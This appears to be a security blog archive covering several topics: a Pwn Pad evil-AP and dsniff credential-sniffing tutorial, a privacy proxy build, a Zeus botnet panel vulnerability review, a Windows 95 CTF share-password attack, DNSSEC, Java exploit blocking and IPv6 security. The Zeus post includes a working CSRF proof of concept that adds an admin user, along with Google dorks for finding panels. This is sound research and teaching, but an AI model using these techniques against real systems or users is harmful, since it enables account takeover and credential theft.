 |_|   \_/\_/ |_|\_|___|___| |___/_/\_\_| |_|_\___|___/___/

 Release Version: 1.5.5
 Release Date: 2014-01-30
 Copyright 2014 Pwnie Express. All rights reserved.

 By using this product you agree to the terms of the Rapid Focus
 Security EULA: http://pwnieexpress.com/pdfs/RFSEULA.pdf

 This product contains both open source and proprietary software.
 Proprietary software is distributed under the terms of the EULA.
 Open source software is distributed under the GNU GPL:
 http://www.gnu.org/licenses/gpl.html

pwnie@localhost:~$

Now you have a shell on a machine that is connected to the victim network. Sweet :) Now Metasploit really makes sense on the tablet, and all other command-line tools.

EvilAP and DSniff

Start EvilAP (it is again a wrapper around airobase), choose interface (for me the Internal Nexus Wifi worked), enter an SSID (e.g freewifi), enter channel, choose whether force all clients to connect to you or just those who really want to connect to you, and start.

The next step is to start DSniff, choose interface at0, and wait :) In this example, I used a popular Hungarian webmail, which has a checkbox option for "secure" login (with default off). There are sooo many problems with this approach, e.g. you can't check the certificate before connecting, and the login page is delivered over HTTP, so one can disable the secure login checkbox seamlessly in the background, etc. In this case, I left the "secure" option on default off.

In the next tutorial, I'm going to show my next favorite app, DSploit ;)

Lessons learned

Hacking has been never so easy before
In a home environment, only use WPA2 PSK
Choose a long, nondictionary passphrase as the password for WPA2
Don't share your WiFi passwords with people you don't trust, or change it when they don't need it anymore
Don't let your client device auto-connect to WiFi stations, even if the SSID looks familiar

I believe during an engagement a Pwn Plug has better "physical cloaking" possibilities, but playing with the Pwn Pad Community Edition really gave me fun moments.

And last but not least I would like to thank to the Pwn Pad developers for releasing the Community Edition!

BYOPPP - Build your own privacy protection proxy

Tue, 01 Apr 2014 13:57:28 +0000

I have read a blog post, where you can build your own privacy proxy server built on Raspberry PI. The post got me thinking about how I can use this to protect my privacy on my Android phone, and also get rid of those annoying ads.

Since I own a Samsung Galaxy S3 LTE with Android 4.3 (with a HW based Knox counter), rooting the phone now means you break Knox, and loose warranty. Past the point of no return ...

This means I have to solve this without root. Luckily newer Androids support VPN without rooting, but setting a mandatory system-wide proxy is still not possible without root.

But thanks to some iptables magic and Privoxy, this is not a problem anymore :)

The ingredients to build your own privacy protection proxy:

One (or more) cheap VPS server(s)
a decent VPN program
Privoxy
iptables

VPS server

To get the cheap VPS server, I recommend using Amazon EC2, but choose whatever you like. The micro instance is very cheap (or even free), and has totally enough resources for this task. I'm using the Ubuntu free tier now and it works like a charm. And last but not least Amazon has two-factor authentication! You can set up an Ubuntu server under 10 minutes. Use the AWS region nearest to you, e.g. I choose EU - Ireland.

VPN

For the VPN program, I recommend the free version of the OpenVPN AS (EDIT: be sure to use OpenVPN AS 2.0.6 or later, both on the server and the client). Easy to set-up quick start guide is here, GUI based configuration, and one-click client installer for Android, iOS, Windows, Linux, OSX. The Ubuntu installer packages are here.

The most important settings:

I prefer to use the TCP 443 and UDP 53 ports for my OpenVPN setup, and let the user guess why.
For good performance, UDP is preferred over TCP.
VPN mode is Layer 3 (routing/NAT).
Don't forget to allow the configured VPN ports in the AWS firewall (security groups).

Other VPN settings:

Should VPN clients have access to private subnets (non-public networks on the server side)? - Yes
Should client Internet traffic be routed through the VPN? - Yes

Privoxy

The next component we have to install and configure is Privoxy. As usual, "apt-get install privoxy" just works. The next step is to configure privoxy via /etc/privoxy/config file, there are two options to change:

listen-address your.ip.add.ress:8118
accept-intercepted-requests 1

Beware not to allow everyone accessing your Privoxy server in the AWS EC2 security groups, be sure it is reachable only to VPN users!

After everything is set, start privoxy with "service privoxy start", and add it to the autostart "update-rc.d privoxy defaults".

Iptables

And the final step is to configure your iptables chain to forward every web traffic from the VPN clients to the Privoxy server:

iptables -t nat -A PREROUTING -s 5.5.0.0/16 -p tcp -m multiport --dports 80,8080,81 -j DNAT --to-destination your.ip.add.ress:8118

Optionally you can block access to all other ports as well, and what does not go through your Privoxy won't be reachable.

Based on your Linux distribution and preference, you might make this rule persistent.

Final test

Now you can connect to the VPN server from your Android device.

After logging in from a client, you get the following nice packages to install on your device:

After connecting, the final results can be seen in the following screenshots. And yes, there is a reason I chose Angry Birds as an example.

Angry Birds without Privoxy

Angry Birds with Privoxy

Stupid flashlight app with ad

Stupid flashlight app with Privoxy

Spoiler alert

If you are afraid of NSA tracking you, this post is not for you. If you want to achieve IP layer anonymity, this post is not for you. As long as you are the only one using that service, it should be trivial to see what could possibly go wrong with that.

Known issues

Whenever the Internet connection (Wifi, 3G) drops, the VPN connection drops as well, and your privacy is gone ...

Sites breaking your privacy through SSL can still do that as long as the domain is not in the Privoxy blacklist.

Additional recommendation

If you are using OSX or Windows, I can recommend Aviator to be used as your default browser. It is just great, give it a try!

PS: There are also some adblock apps removed from the official store which can block some ads, but you have to configure a proxy for every WiFi connection you use, and it is not working over 3G.

Stop using MD-5, now!

Tue, 25 Mar 2014 13:59:37 +0000

TL;DR: Don't use MD-5 to identify malware samples. Believe me, it is a bad idea. Use SHA-256 or a stronger hash function.

This post is dedicated to all malware researchers, still using MD-5 to identify malware samples.

Before deep-diving into the details, let me explain my view on this topic. Whenever you want to identify a malware, it is only OK to publish the MD-5 hash of the malware if you post at least the SHA-256 hash of the malware as well. Publishing only the MD-5 hash is unprofessional. If you want to understand why, please continue reading. If you know about the problem, but want to help me spread the word, please link to my site www.stopusingmd5now.com.

By writing articles/posts/etc. and publishing the MD-5 hash only, it is the lesser problem that you show people your incompetency about hash functions, but you also teach other people to use MD-5. And it spreads like a disease... Last but not least, if I find a sample on your blog post, and you use MD-5 only, I can't be sure we have the same sample.

Here is a list to name a few bad examples (order is in Google search rank order):

Attacking financial malware botnet panels - Zeus

Fri, 14 Feb 2014 14:00:32 +0000

I played with leaked financial malware recently. When I saw these panels are written in PHP, my first idea was to hack them. The results are the work of one evening, please don't expect a full pentest report with all vulns found :-)

The following report is based on Zeus 2.0.8.9, which is old, but I believe a lot of Zeus clones (and C&C panels) depend on this code.

First things first, here are some Google dorks to find Zeus C&C server panel related stuff:

inurl:cp.php?m=login - this should be the login to the control panel
inurl:_reports/files - in these folders you can find the stolen stuff, pretty funny if it gets indexed by Google
inurl:install/index.php - this should be deleted, but I think this is useless now.

Boring vulns found

Clear text HTTP login - you can sniff the login password via MiTM, or steal the session cookies
No password policy - admins can set up really weak passwords
No anti brute-force - you can try to guess the admin's password. Default username is admin
Password autocomplete enabled - boring
Missing HttpOnly flag on session cookie - it could be nice if I could find any XSS. I need more time to find one!
No CSRF protection - except on the password change, where the old password is needed :-( boring

Update: You can use the CSRF to create a new user with admin privileges:

<html>
<head>
 <title></title>
</head>
<body>
 <pre>
 This is a CSRF POC to create a new admin user in Zeus admin panels.
 Username: user_1392719246 Password: admin1
 You might change the URL from 127.0.0.1.
 Redirecting in a hidden iframe in <span id="countdown">10</span> seconds. 
</pre>
<iframe id="csrf-frame" name="csrf-frame" style="display: none;"></iframe>
 <form action="http://127.0.0.1/cp.php?m=sys_users&amp;new" id="csrf-form" method="post" name="csrf-form" target="csrf-frame">
 <input name="name" type="hidden" value="user_1392719246" /> 
 <input name="password" type="hidden" value="admin1" /> 
 <input name="status" type="hidden" value="1" /> 
 <input name="comment" type="hidden" value="PWND!" />
 <input name="r_botnet_bots" type="hidden" value="1" /> 
 <input name="r_botnet_scripts" type="hidden" value="1" /> 
 <input name="r_botnet_scripts_edit" type="hidden" value="1" /> 
 <input name="r_edit_bots" type="hidden" value="1" /> 
 <input name="r_reports_db" type="hidden" value="1" /> 
 <input name="r_reports_db_edit" type="hidden" value="1" /> 
 <input name="r_reports_files" type="hidden" value="1" />
 <input name="r_reports_files_edit" type="hidden" value="1" />
 <input name="r_reports_jn" type="hidden" value="1" /> 
 <input name="r_stats_main" type="hidden" value="1" /> 
 <input name="r_stats_main_reset" type="hidden" value="1" /> 
 <input name="r_stats_os" type="hidden" value="1" /> 
 <input name="r_system_info" type="hidden" value="1" /> 
 <input name="r_system_options" type="hidden" value="1" />
 <input name="r_system_user" type="hidden" value="1" /> 
 <input name="r_system_users" type="hidden" value="1" />
 </form>
<script type="text/javascript">
 window.onload=function(){ 
 var counter = 10;
 var interval = setInterval(function() {
 counter--;
 document.getElementById('countdown').innerHTML = counter;
 if (counter == 0) {
 redirect();
 clearInterval(interval);
 }
 }, 1000);
 };
 function redirect() {
 document.getElementById("csrf-form").submit();
 }
 </script>
</body>
</html>

MD5 password - the passwords stored in MySQL are MD5 passwords. No PBKDF2, bcrypt, scrypt, salt, whatever. MD5.
ClickJacking - really boring stuff
Remember me (MD5 cookies) - a very bad idea. In this case, the remember me function is implemented in a way where the MD5 of the password and MD5 of the username is stored in a cookie. If I have XSS, I could get the MD5(password) as well.
SQLi - although concatenation is used instead of parameterized queries, and addslashes are used, the integers are always quoted. This means it can be hacked only in case of special encoding like GB/Big5, pretty unlikely.

Whats good news (for the C&C panel owners)

The following stuff looks good, at least some vulns were taken seriously:

The system directory is protected with .htaccess deny from all.
gate.php - this is the "gate" between the bots and the server, this PHP is always exposed to the Internet. The execution of this PHP dies early if you don't know the key. But you can get the key from the binary of this specific botnet (another URL how to do this). If you have the key, then you can fill the database with garbage, but that's all I can think of now.
Anti XSS: the following code is used almost everywhere

return htmlspecialchars(preg_replace('|[\x00-\x09\x0B\x0C\x0E-\x1F\x7F-\x9F]|u', ' ', $string), ENT_QUOTES, 'UTF-8');

What's really bad news (for the C&C panel owners)

And the best vuln I was able to find, remote code execution through command injection (happy panda), but only for authenticated users (sad panda).

The vulnerable code is in system/fsarc.php:

Hacking Windows 95, part 1

Sun, 02 Feb 2014 15:56:35 +0000

During a CTF game, we came across very-very old systems. Turns out, it is not that easy to hack those dinosaur old systems, because modern tools like Metasploit do not have sploits for those old boxes and of course our "133t h4cking skillz" are useless without Metasploit... :)

But I had an idea: This can be a pretty good small research for fun. The rules for the hack are the following:

Only publicly available tools can be used for this hack, so no tool development. This is a CTF for script bunniez, and we can't haz code!
Only hacks without user interaction are allowed (IE based sploits are out of scope).
I need instant remote code execution. For example, if I can drop a malware to the c: drive, and change autoexec.bat, I'm still not done, because no one will reboot the CTF machine in a real CTF for me. If I can reboot the machine, that's OK.
I don't have physical access.

I have chosen Windows 95 for this task. First, I had to get a genuine Windows 95 installer, so I visited the Microsoft online shop and downloaded it from their official site.

I installed it in a virtualized environment (remember, you need a boot floppy to install from the CD), and it hit me with a serious nostalgia bomb after watching the installer screens. "Easier to use", "faster and more efficient", "high-powered performance", "friendly", "intuitive interface". Who does not want that? :)

Now that I have a working Windows 95 box, setting up the TCP/IP is easy, let's try to hack it!

My first tool is always nmap. Let's scan the box! Below I'm showing the interesting parts from the result:

PORT STATE SERVICE VERSION
139/tcp open netbios-ssn
137/udp open|filtered netbios-ns
138/udp open|filtered netbios-dgm
Running: Microsoft Windows 3.X|95
OS details: Microsoft Windows for Workgroups 3.11 or Windows 95
TCP Sequence Prediction: Difficulty=25 (Good luck!)
IP ID Sequence Generation: Broken little-endian incremental

The first exciting thing to note is that there is no port 445! Port 445 is only since NT 4.0. If you check all the famous windows sploits (e.g., MS03-026, MS08-067), all of them use port 445 and named pipes. But there are no named pipes on Windows 95!

Because I'm a Nessus monkey, let's run a free Nessus scan on it!

Only one critical vulnerability found:

Microsoft Windows NT 4.0 Unsupported Installation Detection

Thanks for nothing, Nessus! But at least it was for free.

Next, I tried GFI Languard, nothing. It detected the machine as Win95, the opened TCP port, and some UDP ports as open (false-positive), and that's all...

Let's try another free vulnerability scanner tool, Nexpose. The results are much better:

CIFS NULL Session Permitted
Weak LAN Manager hashing permitted
SMB signing not required
Windows 95/98/ME Share Level Password Bypass
TCP Sequence Number Approximation Vulnerability
ICMP netmask response
CIFS Share Readable By Everyone

I think the following vulnerabilities are useless for me at the moment:

Weak LAN Manager hashing permitted - without user interaction or services looking at the network, useless (I might be wrong here, will check this later)
TCP Sequence Number Approximation Vulnerability - not interesting
ICMP netmask response - not interesting
CIFS Share Readable By Everyone - unless there is a password in a text file, useless

But we have two interesting vulns:

CIFS NULL Session Permitted - this could be interesting, I will check this later ...
Windows 95/98/ME Share Level Password Bypass - BINGO!

Let me quote Nexpose here:

"3.2.3 Windows 95/98/ME Share Level Password Bypass (CIFS-win9x-onebyte-password)

A flaw in the Windows 95/98/ME File and Print Sharing service allows unauthorized users to access file and print shares by sending the first character of the password. Due to the limited number of attempts required to guess the password, brute force attacks can be performed in just a few seconds.

Established connection to share TEST with password P."

The vulnerability description at MS side:

http://technet.microsoft.com/en-us/security/bulletin/ms00-072

For example if the password is "Password" (without quotes) and the client sends the password "P" (without quotes) and the length of 1, the client is authenticated. To find the rest of the password, the attacker increments the length to 2 and starts guessing the second letter until he reaches "PA" and gets authenticated again. As share passwords in Windows 95 are not case sensitive, "Pa" and "PA" will also be accepted. The attacker can continue to increment the length and guessing the next letter one-by-one until he gets the full "PASSWORD" (as the maximum length is 8 characters).

I believe all characters between ALT+033 and ALT+255 can be used in the share password in Windows 95, but as it is case insensitive, we have 196 characters to use, and a maximum length of 8 characters. In worst case this means that we can guess the full password in 1568 requests. The funny thing is that the share password is not connected to (by default) any username/account, and it cannot be locked via brute force.

Luckily there is a great tool which can exploit this vulnerability:

Share Password Checker

Let's check this tool in action:

W00t w00t, it brute forced the password in less then 2 seconds!

Looking at a wireshark dump we can see how it is done:

As you can see, in the middle of the dump we can see that it already guessed the part "PASS" and it is brute-forcing the fifth character, it founds that "W" is the correct fifth character, and starts brute-forcing the sixth character.

If we are lucky with the CTF, the whole C:\ drive is shared with full read-write access, and we can write our team identifier into the c:\flag.txt. But what if we want remote code execution? Stay tuned, this is going to be the topic of the next part of this post.

DNSSEC, from an end-user perspective, part 3

Sat, 25 Jan 2014 15:55:35 +0000

In the first post of this DNSSEC series, I have shown the problem (DNS vulnerabilities), and in the second post, the "solution." In this third post, I am going to analyze DNSSEC. Can DNSSEC protect the users against all of the attacks? Or just part of them? What about corner cases?

The following list are the attack types from the first post, where DNSSEC can protect the users:

DNS cache poisoning the DNS server, "Da Old way"
DNS cache poisoning, "Da Kaminsky way"
ISP hijack, for advertisement or spying purposes
Captive portals
Pentester hijacks DNS to test application via active man-in-the-middle
Malicious attacker hijacks DNS via active MITM

The following list are the attack types from the first post, where DNSSEC cannot protect the users:

Rogue DNS server set via malware
Having access to the DNS admin panel and rewriting the IP
ISP hijack, for advertisement or spying purposes
Captive portals
Pentester hijacks DNS to test application via active man-in-the-middle
Malicious attacker hijacks DNS via active MITM

If you are a reader who thinks while reading, you might say "What the hell? Am I protected or not???". The problem is that it depends… In the case where the attacker is between you and your DNS server, the attacker can impersonate the DNS server, downgrade it to a non DNSSEC aware one, and send responses without DNSSEC information.

Now, how can I protect against all of these attacks? Answer is "simple":

Configure your own DNSSEC aware server on your localhost, and use that as a resolver. This is pretty easy, even I was able to do it using tutorials.
Don't let malware run on your system! ;-)
Use at least two-factor authentication for admin access of your DNS admin panel.
Use a registry lock (details in part 1).
Use a DNSSEC aware OS.
Use DNSSEC protected websites.
There is a need for an API or something, where the client can enforce DNSSEC protected answers. In case the answer is not protected with DNSSEC, the connection can not be established.

Now some random facts, thoughts, solutions around DNSSEC:

Did you know .SE signed its zone with DNSSEC in September 2005, as the first TLD in the world?
Did you know DNSSEC was first deployed at the root level on July 15, 2010?
Did you know .NL become the first TLD to pass 1 million DNSSEC-signed domain names?
Did you know that Hungary is in the testing phase of DNSSEC (watch out, it is Hungarian)?
Did you know that you can also use and test that cool DNSSEC validator?
Did you know that there are alternative solutions like DNSCrypt?
Did you know that in the future you might be able to enforce HSTS via DNSSEC?
Did you know that in the future you might be able to use certificate pinning via DNSSEC?

That's all folks, happy DNSSEC configuring ;-)

Note from David:

Huh, I have just accidentally deleted this whole post from Z, but then I got it back from my browsing cache. Big up to Nir Sofer for his ChromeCacheView tool! Saved my ass from kickin'! :D

DNSSEC, from an end-user perspective, part 2

Mon, 06 Jan 2014 15:54:34 +0000

In our previous blog post, we have discussed some of the threats against current DNS systems, where the result was that the victim landed on a different resource/website as he/she originally supposed to visit.

Since this is not a guide for DNS server operators about DNSSEC implementation, let's jump to the user side and see what you should know if you visit a website where DNSSEC validation fails (like the test site http://www.dnssec-failed.org/) and you use a DNS server which validates the DNSSEC responses (e.g., 8.8.8.8 - Google public DNS server):

So far, so good :-) The malicious attacker's evil plan has failed. But what should you see when the server is protected with DNSSEC, and the DNSSEC response is valid/trusted?

Please note that this "green key" stuff is for experimental purposes only. I hope the users should not have to look for another SSL-like padlock in their browser in the future. The critical thing here is that the site has been rendered by the browser, and the response is protected by DNSSEC, thus eliminating lots of threats.

When you visit a site that is protected by DNSSEC, but your DNS server does not validate the DNSSEC, the site will be served and rendered in your browser. It does not matter if it has untrusted or invalid DNSSEC records. This is the same experience what you have today with no DNSSEC at all:

OK, so we, as end-users, need sites/domains which are protected with DNSSEC, and a DNS server which validates the DNSSEC records. We have the DNS server (thx Google!), so let's find some popular sites which are using DNSSEC!

To demonstrate my 133t h4cking skills, here is a small bash script. You give a file with the list of domains as a first parameter to the bash script, and it will give you back the areas protected with DNSSEC.

#!/bin/bash
dig . DNSKEY | grep -Ev '^($|;)' > root.keys
while read line
do
 if dig +sigchase +trusted-key=root.keys $line. A @8.8.8.8 | grep --quiet "DNSSEC validation is ok: SUCC"; then
 echo $line
 fi
done < $1

Alexa was not kind enough to give me a recent list of top sites in text format, so I have used http://moz.com/top500 for this test.

The results were quite shocking; the first result was at TOP40: gov.uk - but when you visit gov.uk via browser, it is redirected to a subdomain that is not protected with DNSSEC, so this kind of behavior is considered as FAIL.

TOP69: nih.gov - so ironically, the winner is the National Institute of Health :P

Other interesting one where:

mozilla.org - FAIL

cdc.gov - FAIL

nasa.gov - FAIL :(

ca.gov - California homepage, don't mess with Arnie!

noaa.gov - National Oceanic and Atmospheric Administration :)

berkeley.edu - thank god the world of universities is saved

loc.gov - FAIL

whitehouse.gov - FAIL …

I think I have never ever visited these websites before, except the Berkeley one. If you can find a financial institution which website's domain is protected by DNSSEC, let me know. I was not able to find one… For example, paypal.com is a bad example. The main domain is protected with DNSSEC, but not the www.paypal.com.

In the next part of our DNSSEC series, I will write about the threats eliminated by DNSSEC and some other exciting things.

Effective blocking of Java exploits in enterprise environments

Mon, 30 Dec 2013 10:49:41 +0000

Preface

"Java every day" was a joke about Java vulnerabilities, where almost every day, a new Java zero-day was seen. Recently, the "Java 0-day spotted in the wild" is no longer in the headlines every week (see http://java-0day.com), but Java exploits are still the most significant concern regarding exploit kits and drive-by-download malware. In a recent Kaspersky report, they found that about 90% of the exploit kits were trying to infect the victim machine via Java.

The "typical useless" recommendations

Okay, so we have a problem called Java in the browser, let's look for a solution!

The two most straightforward "solutions" of all are:

Update your Java.
Remove Java from your browser.

Both solutions are non-solutions for enterprises. Still, a hell a lot of in-house-built applications need old Java - e.g., 1.6.x, which is end-of-life since February 2013.

The next recommended "solution" is: "Create separate browsers for Internet and intranet usage. The intranet facing browser supports Java, the Internet-facing does not."

Although this sounds pretty effective, there are still a lot of problems with this approach. Now IT has to update two browsers instead of one. Users have to be trained, and in a web-security gateway (web proxy), one has to configure that this browser can go there, but the other can't, etc. And still, there might be Java applet based applications outside of the organization which has to be used by a bunch of people.

Next solution: "Use NoScript".

LOL. Teach NoScript to 50000 users, and see how they will learn the "Allow all this page" first, and "Allow scripts globally" the next time.

Next solution: "Click-to-play"

I think this is a good countermeasure, but from now on, the exploit maker either need an exploit to bypass the click-to-play, or to socially engineer the user to click, so this is not a bulletproof solution either.

The solution

Okay, so far, we have five totally useless recommendations. The next one seems pretty good at first sight: "White-list websites which need Java, and only allow Java to these sites."

Let's dig deeper. How can we "white-list" sites? This is not supported by Java out-of-the-box. In a decent web-security gateway, one can create white-lists, but we have to define a condition for Java traffic. A common misconception is to say: let's identify Java traffic for .class, .jar, and .jnlp file extensions, and only allow Java for white-listed websites. Although this will block some exploits, but not all.

Here is a screenshot from the trendy Neutrino exploit kit:

This is the .jar exploit. As you can see, there is no extension at all in the HTTP request (e.g., .jar). But what about the Mime-type in the response? It is video/QuickTime… But it is the jar exploit, with detection of 2/49 on Virustotal. And, yes, I'm aware of the fact that Virustotal statistics are useless, and AV has other possibilities in the exploit chain to block the malware being dropped. Or not :)

Two things can be flagged here as Java: the User-agent and the Mime-type in the request. I recommend checking for both. The User-agent can be reviewed via regular expressions, and if one matches, flag it as Java request.

Payload delivery

Although not closely related to the exploit, but the malware payload delivery is exciting as well. After successful exploitation, the exploit payload downloads the malware from the same site. In a standard web-security gateway, executables can be flagged and blocked for average users. Now look at the Neutrino exploit kit:

No executable extension (e.g., .exe, .dll), the response Mime-type is faked to audio/MPEG, and even the malware is XOR encrypted with a 4 character key (I let the exercise to the reader to guess the XOR key). Also if the web-security gateway looks for file headers to identify executables, it won't find it. The malware is decrypted only on the victim, where the AV might or might not find it. Although the User-agent here is Java again, be aware of the fact that at this stage, the User-agent can be faked by the exploit.

Update 2013.01.02: I forgot to mention the case of SSL interception. Although in an enterprise environment, it is a good idea to intercept SSL traffic (except on finance, webmail, healthcare, etc. sites) to hunt for malware (and block Java), if you don't do this, it is not a problem. There is again a misconception that the User-agent of the client browser is not visible in an SSL connection on the proxy (web security gateway). Below is a screenshot to disprove this statement. In case of a transparent proxy, yes, there might be no user-agent.

Mobile devices

If we white-list sites on the web-security gateway and block any other traffic when we see Java-based User-agent or content-type, we are right. Well, almost. As long as the client is in the enterprise… What you can do here is to enforce the mobile devices the use of VPN every time it is outside of the corporate network, and only connect it to the Internet through the corporate web-security gateway. I know this is still not a solution, but I can't think anything better at the moment. Leave a comment if you have a solution for this.

Now the only Java threat is that someone hacks one of the white-listed websites in a watering hole attack, and serves the java exploit from the same page. Not a likely attack, but possible for a real advanced threat.

Conclusion

If you are a CISO (or has the same position), you should proactively block Java exploits. White-listing websites which require Java is not impossible. Not a lot of sites use Java applets nowadays anyways. I would say average users see Java applets more in an exploit than in a legit site...

You can flag Java traffic via User-agent regular expression, or content-type (in the request), or both. Special care needs to be taken on mobile devices, which leave the enterprise on a regular basis. Of course, you will need other protections too, because this is not a 100% solution.

And if you are a plain home user, you can safely delete Java from your browser, or use a decent Internet Security Suite which can effectively block Java exploits.

DNSSEC, from an end-user perspective, part 1

Tue, 10 Dec 2013 10:49:33 +0000

We all know since at least 1990 that the DNS protocol is insecure. Yet DNS is still the basis of almost all Internet communication. The biggest problem with DNS is that a malicious attacker can redirect victims, where victims try to connect to, e.g. safesite.com, but instead of this, they relate to the attacker's website. There are a lot of different ways to achieve this attack.

DNS cache poisoning the DNS server, "Da Old way."

The attacker forces the victim's DNS server to resolve a domain where the attacker is the authoritative name server, and the attacker sends additional information to the DNS server that he is also the authoritative name server for safesite.com. This information is cached and used later when the victim resolves safesite.com.

It is easy to protect against this attack, any decent DNS server should be able to protect against this attack by dropping this additional information from DNS responses.

DNS cache poisoning, "Da Kaminsky way"

An attacker can initiate queries to the victim's DNS server, and in the meantime, "flood" the DNS server with fake responses. The server will accept the fake response if the following conditions are right:

the DNS server receives the answers on the same IP as it expects (this is not an attack limitation),
the DNS server receives the answer to his question (again not a limitation, an attacker knows what he wants to attack),
the random(?) port used to send the query matches the answer,
the random(?) 16-bit(!) unique transaction number in the answer matches with the query.

If the last two are not random, an attacker can easily poison the server in a matter of seconds. Or if your DNS server is behind NAT, the NAT can remove the randomness :-O

To protect yourself against this, you should randomize the source port and unique identifier better, and disable your DNS server as being an open recursive resolver.

Rogue DNS server via malware

This is pretty common in both banking trojans, adware, etc. The malware reconfigures the users configured DNS server to use a malicious one, either in the local OS settings or in the home router.

To protect against this: don't let malware in your environment ;)

ISP hijack, for advertisement or spying purposes

This is the worst of all. ISP's hijack non-existing domains, and display advertisements. And because they broke the RFC, it will break a lot of your applications. I bet ISPs still think about this as a good idea :(

Sometimes the ISP hijacks your connection because the government wants to spy on your communication or divert it. Use TOR wisely if you don't want to be a victim.

Captive portals

Sometimes captive portals use DNS hijacking to redirect the users to the default login page. Although it breaks things, it is still better than the ISP solution, because it is only a problem at the beginning of the connection, and not permanently.

Pentester hijacks DNS to test application via active man-in-the-middle

Although this is not malicious at all (developers might think otherwise), but a lot of application security tests (thick clients, mobile applications) can only be carried out via DNS spoofing. Application security testers can easily make this attack because they can place the host machine in a network segment where they can make an active man-in-the-middle attack and respond to DNS queries sooner as the official DNS server. Or simply set the DNS server to their own DNS server.

Malicious attacker hijacks DNS via active MITM

This is similar to the previous one, but the goal is different. Although an attacker with active man-in-the-middle position can attack the victim in 1000 different ways (like SMB relaying, capturing LM/NTLM network hashes, modifying clear-text traffics, etc...), DNS spoofing is one of them.

Having access to the DNS admin panel and rewriting the IP

I believe this is going to be a new trend. This attack is the most effective one, and the hardest to prevent. Usually, it is not the admin panel that is being hacked, instead an admin's password gets stolen, or the password reset is hacked.

You, as a client, can do three things to protect against this attack:

Choose a decent provider and prey :)
Put a registry lock on your DNS settings (serverDeleteProhibited, serverTransferProhibited, and serverUpdateProhibited). Although this additional layer is good enough today, I bet some motivated attackers will be able to successfully attack this. The attacker only has to:
- know the phone number of the client, which will be called by the registrar
- hijack the call (social engineering the phone company)
- provide an individual security phrase (social engineering the client)
Or run your own DNS server (this is not a solution for everybody)

Conclusion

Although almost all attacks can be mitigated one way or another, there was a desperate need to solve this DNS spoofing issue once and for all. And so it begins, DNSSEC has been developed.

In part 2, we are going to investigate DNSSEC, what you can expect from it, and what you can't.

Secure IPv6 deployment checklist think twice, deploy once

Tue, 10 Dec 2013 10:47:39 +0000

Before deep-diving into IPv6, I'm going to summarize my views on IPv6:

Start now(!) to plan your IPv6 deployment - in case you have not done so.
IPv6 is the future! There is no other choice.
NAT is the root of all evil.

IPv6 is coming. We've heard this 10 years ago as well, but it is really coming now. If you live in Asia, you can see this in real life. If you live in Europe or the USA, you can feel the pain of triple NATed devices.

Deploying IPv6 is not a binary task, you can do it in small steps. Get a public IPv6 address space, assign IPv6 addresses to your servers (e-mail, web, DNS).

Great, you are now ahead of the world!

Now, what about clients who want to access IPv6 web or email? You are lucky if you use an IPv6 compatible web/email proxy because the clients can still stay on IPv4.

Now, what about your clients/servers accessing IPv6 services on the Internet directly (without a proxy)?

If your network supports IPv6, your clients can directly access IPv6 services.
If your network does not support IPv6, clients can still use tunneling protocols, e.g. ISATAP for Windows clients.

This might sound easier than it is. But do you have the budget/people/management support to do this?

Anyways, before you deploy IPv6 in your corporate environment, you have to think about the security issues. The next list is far from comprehensive or complete. Beware, here be dragons!

It is a myth that IPv6 is more secure than IPv4. The only practical security addition in IPv6 is called IPSEC, and has been backported to IPv4 many years ago.

Most networking people are not familiar with the new terms, best practices introduced with IPv6. It is important to educate the networking and security personnel about IPv6, and let them play with the technology.

IPv6 can reintroduce basically all security vulnerabilities which has been mitigated in IPv4:

If the vulnerability is not in the IP layer, the vulnerability will stay there. Although it sounds obvious, most people tend to forget this. Your MS08-067 vulnerability won't magically disappear if you use IPv6. OK, but you closed port 445 on the firewall. Oh crap, it is open on IPv6...
Man-in-the-middle attacks: Organizations have already guarded themselves against ARP spoofing and DHCP server spoofing with mitigation techniques like DAI (Dynamic ARP Inspection) and DHCP snooping in the world of IPv4. The only thing which has been changed is the name of the attacks and defenses. Search for ICMPv6 attacks, and Neighbour Discovery attacks.
Source routing: Source routed IPv4 packets have not been seen for a while bypassing firewalls, but "luckily" the IPv6 standard reintroduced source routing in IPv6, in the name of Type 0 Router Headers. You should check whether your OS/network equipment support Type 0 Router Headers. If you have time, play with Scapy to test it.
Blocking ICMP: Let's face the truth: In order to effectively use IPv6, some ICMPv6 messages has to traverse through firewalls. Like it or not, you can't hide your clients anymore.
Router advertisement: Let's play a game. Go into any network, and start broadcasting IPv6 router advertisement packets in the network. Guess what, the clients are going to connect to you, and you will be the default IPv6 gateway for the clients. If there is no web proxy configured on the client, this means all Google, Youtube and Facebook traffic will be routed through your box, because IPv6 is preferred over IPv4. This can be the next generation WPAD attack :) If you don't want to be vulnerable, better search for RAGuard or similar solutions.
Translation/tunneling: If all your network equipment support IPv6 and configured to use it, you are lucky, because your clients can use native IPv6. Otherwise, your clients have to use 6to4/ISATAP/Teredo/NAT64 or whatever IPv6 translation/tunneling. Do you know these protocols? Do your security products know these protocols?
Dual stack: Your clients have to use both IPv4 and IPv6 together for a while. Be aware of the additional operating costs of maintaining 2 network protocol parallel.
Fragmentation: In the first era of IDS/IPS devices, one of the main bypassing technique was IPv4 fragmentation. Have you checked whether your current solutions (IPS/IDS) parse fragmented packets the same way as your protected assets?
The IPv4 implementations have been tested thoroughly, and not much implementation bug is left there. But IPv6 implementation bugs, there will be a lot from them. Most of the programmers still don't know the basics of secure coding practices.
IPv6 evercookie: Now that your clients don't have the same NAT IP, they static IP can be used to track them online. Luckily Microsoft solved the issue with IPv6 privacy extension, so clients will use temporarily IPv6 addresses to communicate with the Internet. Great, now how do you know in your security logs, which IPv6 address is which client???

Do your current security devices fully support IPv6? Have you tested this?

Hardware Firewall (with all dual-stack/translation/tunneling nightmare)

Do you block all outgoing UDP from the clients, especially 3544?
Can you maintain rules for both IPv4 and IPv6?
If you remove an IPv4 rule, do you remove the same rule for IPv6?

Log collection, log analysis, correlation:

Do the logs contain IPv6 addresses?
Is it parsed by the SIEM application?
Do you know that the DHCP IPv4 address is the same asset (workstation) as the IPv6 address with a privacy extension?

IPS, IDS:

Can these applications monitor/block all kinds of IPv6 translation/tunneling protocols?

WAF:

Is your WAF IPv6 ready/aware?
What about fragmentation?

VPN:

Can your clients connect to IPv6 services through VPN?
Is your IPv6 VPN firewall rule as restrictive as the IPv4 one?
If you remove a rule on IPv4, do you remove the same in IPv6?

Software firewall:

Is your software firewall IPv6 ready/aware?
Does it understand all translation/tunneling protocols?
Does it filter incoming traffic to the Teredo interface?

AV/endpoint protection:

Is your AV/endpoint protection IPv6 ready/aware?
What about files downloaded via IPv6, is it scanned the same way as IPv4?

